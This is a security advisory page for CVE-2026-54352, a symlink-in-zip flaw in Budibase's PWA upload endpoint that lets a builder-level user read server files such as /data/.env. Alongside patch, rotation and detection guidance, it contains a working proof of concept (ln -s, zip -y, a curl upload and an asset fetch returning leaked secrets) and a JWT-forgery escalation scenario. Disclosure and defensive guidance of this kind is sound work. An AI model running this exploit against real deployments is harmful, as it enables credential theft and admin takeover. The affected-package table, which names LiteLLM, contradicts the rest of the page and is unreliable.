CVE-2026-54352: Budibase: zip symlink bypass exposes all server secrets
GHSA-w7mq-r738-x278 CRITICALBudibase's PWA zip upload endpoint fails to detect symlink entries during extraction, allowing any workspace-level builder to read arbitrary files the server process can access — including /data/.env, which in the default Docker deployment contains JWT_SECRET, INTERNAL_API_KEY, MINIO credentials, REDIS_PASSWORD, COUCHDB_PASSWORD, and LITELLM_MASTER_KEY in cleartext. This is a CVSS 9.6 with a one-curl-command PoC and scope change: stolen JWT_SECRET enables HS256 token forgery for any user ID, including global admin, escalating a low-privilege contractor account into full platform takeover. The vulnerability is particularly damaging in AI/ML environments where Budibase fronts LiteLLM or similar inference proxies — every AI service credential colocated in that .env is exfiltrated in a single request. Organizations running self-hosted Budibase ≤3.39.0 should upgrade to 3.39.9 immediately, rotate all secrets without waiting for patch deployment, and audit POST /api/pwa/process-zip logs for exploitation attempts.
What is the risk?
CRITICAL. Network-exploitable, low complexity, requires only builder-level account (obtainable via phishing or legitimate contractor access), no user interaction, and scope changes to platform-wide admin via JWT forgery. The default Docker image runs the Node server as root, expanding the arbitrary-read primitive to every root-readable path — /etc/shadow, /etc/passwd, application secrets. No KEV listing yet, but the PoC is public, exploitation is trivial (single bash script), and the reward is complete credential exfiltration plus admin escalation, making weaponization highly likely. Package risk score 79/100 and 33 prior CVEs in the same package indicate a historically vulnerable component.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| LiteLLM | npm | < 3.39.9 | 3.39.9 |
Do you use LiteLLM? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
PATCH
Upgrade @budibase/server to 3.39.9 immediately — this is the only complete fix.
-
ROTATE SECRETS NOW (don't wait for patch): JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL credentials — all must be rotated as they should be treated as compromised on any instance running ≤3.39.0 with internet-accessible builder accounts.
-
HARDEN CONTAINER
Override Dockerfile USER to run as non-root to limit the read primitive scope; this doesn't fix the vulnerability but contains it.
-
RESTRICT PERMISSIONS
Audit all accounts holding the BUILDER permission; revoke from untrusted or external accounts until patched.
-
DETECT
Search access logs for POST /api/pwa/process-zip requests followed within seconds by GET /api/assets/{appId}/pwa/*.png from the same session — that two-step pattern is the exploit sequence. Also alert on JWT tokens signed after any suspicious zip upload (compare creation time vs token iat).
-
BLOCK
If patching is delayed, apply a WAF rule blocking multipart uploads with symlink entries (Content-Disposition containing zero-byte files with L flag in zip headers) to /api/pwa/process-zip.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54352?
Budibase's PWA zip upload endpoint fails to detect symlink entries during extraction, allowing any workspace-level builder to read arbitrary files the server process can access — including /data/.env, which in the default Docker deployment contains JWT_SECRET, INTERNAL_API_KEY, MINIO credentials, REDIS_PASSWORD, COUCHDB_PASSWORD, and LITELLM_MASTER_KEY in cleartext. This is a CVSS 9.6 with a one-curl-command PoC and scope change: stolen JWT_SECRET enables HS256 token forgery for any user ID, including global admin, escalating a low-privilege contractor account into full platform takeover. The vulnerability is particularly damaging in AI/ML environments where Budibase fronts LiteLLM or similar inference proxies — every AI service credential colocated in that .env is exfiltrated in a single request. Organizations running self-hosted Budibase ≤3.39.0 should upgrade to 3.39.9 immediately, rotate all secrets without waiting for patch deployment, and audit POST /api/pwa/process-zip logs for exploitation attempts.
Is CVE-2026-54352 actively exploited?
No confirmed active exploitation of CVE-2026-54352 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54352?
1. PATCH: Upgrade @budibase/server to 3.39.9 immediately — this is the only complete fix. 2. ROTATE SECRETS NOW (don't wait for patch): JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL credentials — all must be rotated as they should be treated as compromised on any instance running ≤3.39.0 with internet-accessible builder accounts. 3. HARDEN CONTAINER: Override Dockerfile USER to run as non-root to limit the read primitive scope; this doesn't fix the vulnerability but contains it. 4. RESTRICT PERMISSIONS: Audit all accounts holding the BUILDER permission; revoke from untrusted or external accounts until patched. 5. DETECT: Search access logs for POST /api/pwa/process-zip requests followed within seconds by GET /api/assets/{appId}/pwa/*.png from the same session — that two-step pattern is the exploit sequence. Also alert on JWT tokens signed after any suspicious zip upload (compare creation time vs token iat). 6. BLOCK: If patching is delayed, apply a WAF rule blocking multipart uploads with symlink entries (Content-Disposition containing zero-byte files with L flag in zip headers) to /api/pwa/process-zip.
What systems are affected by CVE-2026-54352?
This vulnerability affects the following AI/ML architecture patterns: LiteLLM proxy deployments, Low-code AI application builders, Self-hosted AI workflow orchestration, Multi-tenant AI service platforms, AI agent frameworks using Budibase as frontend.
What is the CVSS score for CVE-2026-54352?
CVE-2026-54352 has a CVSS v3.1 base score of 9.6 (CRITICAL).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0037 Data from Local System AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials AML.T0083 Credentials from AI Agent Configuration AML.T0091.000 Application Access Token AML.T0106 Exploitation for Credential Access Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary `POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`. `extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate. `packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim. Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip. ## Affected `Budibase/budibase` server, `@budibase/server` package, `<= 3.39.0` (HEAD `feab995`, released 2026-05-20). Reachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app. Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material. ## Root cause `packages/server/src/api/routes/static.ts:24`: `.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`. `packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries. `packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists. `packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file's bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`). `hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path. ## Reproduction `budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `<CSRF>` token come from `GET /api/global/self`. 1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink. ```bash mkdir attack && cd attack ln -s /data/.env evil.png printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json zip -y attack.zip icons.json evil.png curl -s "http://localhost:10000/api/pwa/process-zip" \ -b cookies.txt \ -H "x-budibase-app-id: <appId>" \ -H "x-csrf-token: <CSRF>" \ -F "file=@attack.zip" ``` ```json {"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]} ``` 2. Builder fetches the resulting "icon". ```http GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG> ``` ``` COUCHDB_USER=admin COUCHDB_PASSWORD=admin MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778 INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c JWT_SECRET=c5441dc903f845bdb93a98b949a612b2 REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm ``` Live-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads. ## Impact - Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`. - HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds. - Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default). ## Credit Jan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).
Exploitation Scenario
A threat actor with builder access to any Budibase workspace — obtained through credential stuffing, phishing a legitimate contractor, or signing up via a weak self-registration flow — crafts a zip archive containing a single symbolic link (evil.png → /data/.env) alongside an icons.json referencing it. Uploading via POST /api/pwa/process-zip causes extract-zip@2.0.1 to restore the symlink verbatim; the path validator passes because the symlink file itself lives inside baseDir and fs.existsSync follows the link confirming the target exists. The server then opens the symlink target via fsp.open (which follows symlinks), streams the raw .env bytes into MinIO, and returns a public asset UUID. The attacker fetches GET /api/assets/{appId}/pwa/{uuid}.png and receives the cleartext .env. With JWT_SECRET in hand, they forge an HS256 JWT for the global admin user ID (discoverable from the Clerk webhook logs or /api/global/users), authenticate as platform administrator, and enumerate all workspaces, users, and AI service integrations — including any LiteLLM routes whose master key was just exfiltrated.
Weaknesses (CWE)
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Primary
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Primary
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N References
Timeline
Related Vulnerabilities
CVE-2026-42208 9.8 LiteLLM: SQL injection exposes LLM API credentials
Same package: litellm CVE-2026-35030 9.1 LiteLLM: auth bypass via JWT cache key collision
Same package: litellm CVE-2024-6825 8.8 LiteLLM: RCE via post_call_rules callback injection
Same package: litellm CVE-2026-40217 8.8 LiteLLM: RCE via bytecode rewriting in guardrails API
Same package: litellm CVE-2026-42203 8.8 LiteLLM: SSTI in prompt template endpoint enables RCE
Same package: litellm